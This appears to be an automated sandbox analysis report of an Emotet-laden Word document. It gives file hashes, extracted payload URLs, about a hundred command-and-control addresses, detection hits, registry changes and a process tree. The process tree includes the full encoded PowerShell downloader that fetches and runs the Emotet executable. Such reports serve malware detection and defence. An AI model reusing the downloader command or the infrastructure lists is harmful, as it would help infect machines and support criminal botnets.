Analysis
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max time kernel
64s -
max time network
144s -
platform
windows7_x64 -
resource
win7 -
submitted
19-09-2020 10:19
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_1d1abdd47fc063e3d5a2ae7655ac0b570b3e34e2109a2154825ce1b59686b6a6_2020-09-19__101730100711._doc.doc
Resource
win7
General
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Target
emotet_e2_1d1abdd47fc063e3d5a2ae7655ac0b570b3e34e2109a2154825ce1b59686b6a6_2020-09-19__101730100711._doc.doc
-
Size
177KB
-
MD5
c32673c54aaba5b1aded9d8c009b1760
-
SHA1
894aead72cac859a4a9188e9d5a9625d5f0a0f67
-
SHA256
1d1abdd47fc063e3d5a2ae7655ac0b570b3e34e2109a2154825ce1b59686b6a6
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SHA512
506bc3634f29305180f1a66f426a5952c2b6ab38da50e76867fe5c5295657a4b865fbc1f6603df5e07c63f4cbdd7d12b8699fa5361a943795c64847ed76c63f4
Malware Config
Extracted
https://santyago.org/wp-content/0mcYS6/
http://dandyair.com/font-awesome/rOOAL/
https://www.tekadbatam.com/wp-content/AUiw/
http://kellymorganscience.com/wp-content/SCsWM/
https://tewoerd.eu/img/DALSKE/
http://mediainmedia.com/plugin_opencart2.3-master/Atye/
http://nuwagi.com/old/XLGjc/
Extracted
emotet
71.72.196.159:80
134.209.36.254:8080
120.138.30.150:8080
94.23.216.33:80
157.245.99.39:8080
137.59.187.107:8080
94.23.237.171:443
61.19.246.238:443
156.155.166.221:80
50.35.17.13:80
153.137.36.142:80
91.211.88.52:7080
209.141.54.221:8080
185.94.252.104:443
174.45.13.118:80
87.106.136.232:8080
62.75.141.82:80
213.196.135.145:80
188.219.31.12:80
82.80.155.43:80
187.161.206.24:80
172.91.208.86:80
124.41.215.226:80
107.5.122.110:80
200.123.150.89:443
95.179.229.244:8080
83.169.36.251:8080
1.221.254.82:80
95.213.236.64:8080
181.169.34.190:80
47.144.21.12:443
203.153.216.189:7080
89.216.122.92:80
84.39.182.7:80
94.200.114.161:80
104.236.246.93:8080
139.99.158.11:443
176.111.60.55:8080
78.24.219.147:8080
220.245.198.194:80
62.30.7.67:443
139.162.108.71:8080
104.32.141.43:80
153.232.188.106:80
93.147.212.206:80
79.137.83.50:443
96.249.236.156:443
24.43.99.75:80
75.80.124.4:80
42.200.107.142:80
110.5.16.198:80
5.196.74.210:8080
110.145.77.103:80
200.114.213.233:8080
85.152.162.105:80
5.39.91.110:7080
109.74.5.95:8080
140.186.212.146:80
37.187.72.193:8080
97.82.79.83:80
139.130.242.43:80
201.173.217.124:443
123.176.25.234:80
104.131.44.150:8080
74.208.45.104:8080
139.59.60.244:8080
120.150.60.189:80
74.219.172.26:80
219.75.128.166:80
82.225.49.121:80
85.105.205.77:8080
24.179.13.119:80
74.120.55.163:80
174.102.48.180:443
219.74.18.66:443
168.235.67.138:7080
194.187.133.160:443
78.187.156.31:80
103.86.49.11:8080
61.92.17.12:80
24.137.76.62:80
104.131.11.150:443
79.98.24.39:8080
75.139.38.211:80
162.241.242.173:8080
195.251.213.56:80
37.139.21.175:8080
46.105.131.79:8080
50.91.114.38:80
121.124.124.40:7080
74.134.41.124:80
68.188.112.97:80
137.119.36.33:80
121.7.127.163:80
87.106.139.101:8080
94.1.108.190:443
169.239.182.217:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1928 1788 powershell.exe -
Emotet Payload 8 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral1/memory/956-14-0x0000000000230000-0x0000000000242000-memory.dmp emotet behavioral1/memory/956-14-0x0000000000230000-0x0000000000242000-memory.dmp emotet behavioral1/memory/956-15-0x0000000000250000-0x0000000000260000-memory.dmp emotet behavioral1/memory/956-15-0x0000000000250000-0x0000000000260000-memory.dmp emotet behavioral1/memory/1708-19-0x00000000003E0000-0x00000000003F2000-memory.dmp emotet behavioral1/memory/1708-19-0x00000000003E0000-0x00000000003F2000-memory.dmp emotet behavioral1/memory/1708-20-0x0000000000610000-0x0000000000620000-memory.dmp emotet behavioral1/memory/1708-20-0x0000000000610000-0x0000000000620000-memory.dmp emotet -
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 1928 powershell.exe -
Executes dropped EXE 2 IoCs
Processes:
Dzdsyqxb.exeRmClient.exepid process 956 Dzdsyqxb.exe 1708 RmClient.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exeDzdsyqxb.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\KBDKOR\RmClient.exe Dzdsyqxb.exe -
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{77B97EEE-D3D5-43F5-9DE1-3C8164E6CC64}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{77B97EEE-D3D5-43F5-9DE1-3C8164E6CC64}\2.0\0\win32 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{77B97EEE-D3D5-43F5-9DE1-3C8164E6CC64}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1104 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exeRmClient.exepid process 1928 powershell.exe 1928 powershell.exe 1708 RmClient.exe 1708 RmClient.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1928 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1104 WINWORD.EXE 1104 WINWORD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
powershell.exeDzdsyqxb.exedescription pid process target process PID 1928 wrote to memory of 956 1928 powershell.exe Dzdsyqxb.exe PID 1928 wrote to memory of 956 1928 powershell.exe Dzdsyqxb.exe PID 1928 wrote to memory of 956 1928 powershell.exe Dzdsyqxb.exe PID 1928 wrote to memory of 956 1928 powershell.exe Dzdsyqxb.exe PID 956 wrote to memory of 1708 956 Dzdsyqxb.exe RmClient.exe PID 956 wrote to memory of 1708 956 Dzdsyqxb.exe RmClient.exe PID 956 wrote to memory of 1708 956 Dzdsyqxb.exe RmClient.exe PID 956 wrote to memory of 1708 956 Dzdsyqxb.exe RmClient.exe
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_1d1abdd47fc063e3d5a2ae7655ac0b570b3e34e2109a2154825ce1b59686b6a6_2020-09-19__101730100711._doc.doc"1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -en JABUADEAeAB5AHkAeQB4AD0AKAAoACcASwAnACsAJwBrAHkAbQAnACkAKwAoACcAXwA0ACcAKwAnAGsAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAUwBFAHIAUABSAE8ARgBpAEwAZQBcAHUANgB3ADcATwBfAGwAXABQAFMAagBrADMAcABOAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAEUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBjAFUAUgBpAGAAVABgAHkAUAByAG8AVABvAGMAYABvAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxADIAJwApACsAJwAsACAAJwArACgAJwB0ACcAKwAnAGwAcwAxADEAJwApACsAJwAsACcAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQARQByAG8AcwAzAGYAYwAgAD0AIAAoACgAJwBEACcAKwAnAHoAZAAnACkAKwAoACcAcwAnACsAJwB5AHEAeABiACcAKQApADsAJABHAHIAdgBuAGYAcwAzAD0AKAAoACcARAAzAGIAcwAnACsAJwBvACcAKQArACcAbQBmACcAKQA7ACQAQQBrADEAYwBkAHcAcQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAEYAJwArACcAeAAnACsAJwAyAFUAJwArACcANgB3ADcAbwBfAGwAJwApACsAJwBGACcAKwAoACcAeAAnACsAJwAyAFAAcwBqACcAKQArACcAawAnACsAJwAzACcAKwAnAHAAJwArACgAJwBuACcAKwAnAEYAeAAnACkAKwAnADIAJwApAC0AUgBFAHAAbABhAGMARQAgACAAKAAnAEYAeAAnACsAJwAyACcAKQAsAFsAYwBoAGEAUgBdADkAMgApACsAJABFAHIAbwBzADMAZgBjACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABZAHMAZQBtAF8AcwA0AD0AKAAoACcATgAnACsAJwBnAGMAJwApACsAJwBtADcAJwArACcAdgBrACcAKQA7ACQATgBjADIAeQAwAG8AMgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAFQALgB3AGUAYgBjAGwAaQBlAG4AdAA7ACQASAA1AHQANQA1AG8AawA9ACgAJwBoAHQAJwArACcAdAAnACsAKAAnAHAAcwA6ACcAKwAnAC8ALwBzACcAKwAnAGEAJwApACsAJwBuAHQAJwArACgAJwB5AGEAJwArACcAZwAnACkAKwAoACcAbwAuAG8AcgBnACcAKwAnAC8AJwApACsAJwB3ACcAKwAoACcAcAAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlAG4AJwArACcAdAAvACcAKwAoACcAMABtACcAKwAnAGMAWQBTADYAJwApACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBkACcAKQArACcAYQAnACsAKAAnAG4AZAAnACsAJwB5ACcAKQArACcAYQBpACcAKwAnAHIALgAnACsAJwBjAG8AJwArACgAJwBtAC8AZgBvACcAKwAnAG4AdAAnACsAJwAtAGEAJwApACsAKAAnAHcAJwArACcAZQBzAG8AbQAnACkAKwAoACcAZQAvAHIAJwArACcATwAnACkAKwAoACcATwAnACsAJwBBACcAKwAnAEwALwAqAGgAdAB0ACcAKQArACgAJwBwAHMAOgAvACcAKwAnAC8AdwB3AHcALgAnACsAJwB0AGUAawAnACsAJwBhAGQAYgBhAHQAYQBtAC4AYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwAnACkAKwAoACcAbgB0ACcAKwAnAGUAJwApACsAJwBuACcAKwAnAHQALwAnACsAKAAnAEEAVQBpACcAKwAnAHcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoALwAvAGsAJwArACcAZQAnACkAKwAoACcAbABsACcAKwAnAHkAJwApACsAJwBtACcAKwAoACcAbwByAGcAYQBuACcAKwAnAHMAYwAnACsAJwBpAGUAJwApACsAJwBuAGMAJwArACgAJwBlAC4AJwArACcAYwAnACkAKwAoACcAbwBtAC8AdwAnACsAJwBwAC0AYwAnACsAJwBvACcAKQArACgAJwBuAHQAJwArACcAZQAnACkAKwAoACcAbgAnACsAJwB0AC8AUwAnACkAKwAoACcAQwBzACcAKwAnAFcATQAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAcwA6AC8AJwArACcALwB0ACcAKQArACcAZQAnACsAKAAnAHcAbwAnACsAJwBlACcAKQArACcAcgAnACsAJwBkACcAKwAnAC4AJwArACcAZQB1ACcAKwAoACcALwAnACsAJwBpAG0AZwAvAEQAQQAnACsAJwBMAFMAJwApACsAJwBLACcAKwAnAEUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAG0AZQAnACsAJwBkACcAKQArACcAaQBhACcAKwAoACcAaQBuACcAKwAnAG0AZQAnACkAKwAoACcAZABpACcAKwAnAGEAJwApACsAJwAuAGMAJwArACgAJwBvAG0ALwAnACsAJwBwAGwAJwApACsAJwB1ACcAKwAoACcAZwBpAG4AXwBvAHAAJwArACcAZQBuACcAKQArACgAJwBjAGEAcgB0ACcAKwAnADIAJwApACsAKAAnAC4AMwAtACcAKwAnAG0AJwApACsAJwBhACcAKwAoACcAcwB0ACcAKwAnAGUAcgAvACcAKQArACgAJwBBAHQAeQAnACsAJwBlAC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwAnACkAKwAoACcAbgB1AHcAYQAnACsAJwBnAGkALgBjAG8AJwArACcAbQAvAG8AbAAnACsAJwBkACcAKwAnAC8AWABMAEcAagBjAC8AJwApACkALgAiAHMAUABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUAAxAHAAZwBiAGwAagA9ACgAKAAnAFgAaQAnACsAJwA2ACcAKQArACgAJwBiACcAKwAnAGkAaQAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAWABoAHoANwBuAGsAbQAgAGkAbgAgACQASAA1AHQANQA1AG8AawApAHsAdAByAHkAewAkAE4AYwAyAHkAMABvADIALgAiAGQAbwBXAE4ATABPAGAAQQBkAGYASQBgAEwAZQAiACgAJABYAGgAegA3AG4AawBtACwAIAAkAEEAawAxAGMAZAB3AHEAKQA7ACQAWQBrADEAMABzADEAXwA9ACgAKAAnAFMAJwArACcAbgA1ADAAcAAnACkAKwAnAHAAagAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAQQBrADEAYwBkAHcAcQApAC4AIgBsAGUAbgBgAEcAdABoACIAIAAtAGcAZQAgADMAMQAyADMAOQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABBAGsAMQBjAGQAdwBxACkAOwAkAFkAOAB6ADkAMABnAHgAPQAoACgAJwBJAHEAMgAnACsAJwB5ACcAKQArACgAJwAzAF8AJwArACcAawAnACkAKQA7AGIAcgBlAGEAawA7ACQAUwBvAHYANwBsAHYANwA9ACgAJwBSACcAKwAnAHMAJwArACgAJwB6ACcAKwAnAHIAawBuAHIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAdQBrAGwAYwBxAF8APQAoACgAJwBCADEAZwAnACsAJwBrACcAKQArACcAaQAnACsAJwBkADkAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\U6w7o_l\Psjk3pn\Dzdsyqxb.exe"C:\Users\Admin\U6w7o_l\Psjk3pn\Dzdsyqxb.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\KBDKOR\RmClient.exe"C:\Windows\SysWOW64\KBDKOR\RmClient.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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C:\Users\Admin\U6w7o_l\Psjk3pn\Dzdsyqxb.exe
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C:\Users\Admin\u6w7O_l\PSjk3pN\Dzdsyqxb.exe
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C:\Windows\SysWOW64\KBDKOR\RmClient.exe
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memory/956-12-0x0000000000000000-mapping.dmp
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memory/956-15-0x0000000000250000-0x0000000000260000-memory.dmpFilesize
64KB
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memory/956-14-0x0000000000230000-0x0000000000242000-memory.dmpFilesize
72KB
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memory/1104-3-0x0000000006E40000-0x0000000007040000-memory.dmpFilesize
2.0MB
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memory/1104-4-0x0000000006E40000-0x0000000007040000-memory.dmpFilesize
2.0MB
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memory/1104-2-0x0000000008890000-0x0000000008894000-memory.dmpFilesize
16KB
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memory/1708-17-0x0000000000000000-mapping.dmp
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memory/1708-19-0x00000000003E0000-0x00000000003F2000-memory.dmpFilesize
72KB
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memory/1708-20-0x0000000000610000-0x0000000000620000-memory.dmpFilesize
64KB
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memory/1928-11-0x000000001B700000-0x000000001B701000-memory.dmpFilesize
4KB
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memory/1928-10-0x000000001B670000-0x000000001B671000-memory.dmpFilesize
4KB
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memory/1928-9-0x00000000025D0000-0x00000000025D1000-memory.dmpFilesize
4KB
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memory/1928-8-0x0000000002520000-0x0000000002521000-memory.dmpFilesize
4KB
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memory/1928-7-0x000000001ACC0000-0x000000001ACC1000-memory.dmpFilesize
4KB
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memory/1928-6-0x0000000002460000-0x0000000002461000-memory.dmpFilesize
4KB
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memory/1928-5-0x000007FEE8190000-0x000007FEE8B7C000-memory.dmpFilesize
9.9MB
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memory/2020-21-0x000007FEF6880000-0x000007FEF6AFA000-memory.dmpFilesize
2.5MB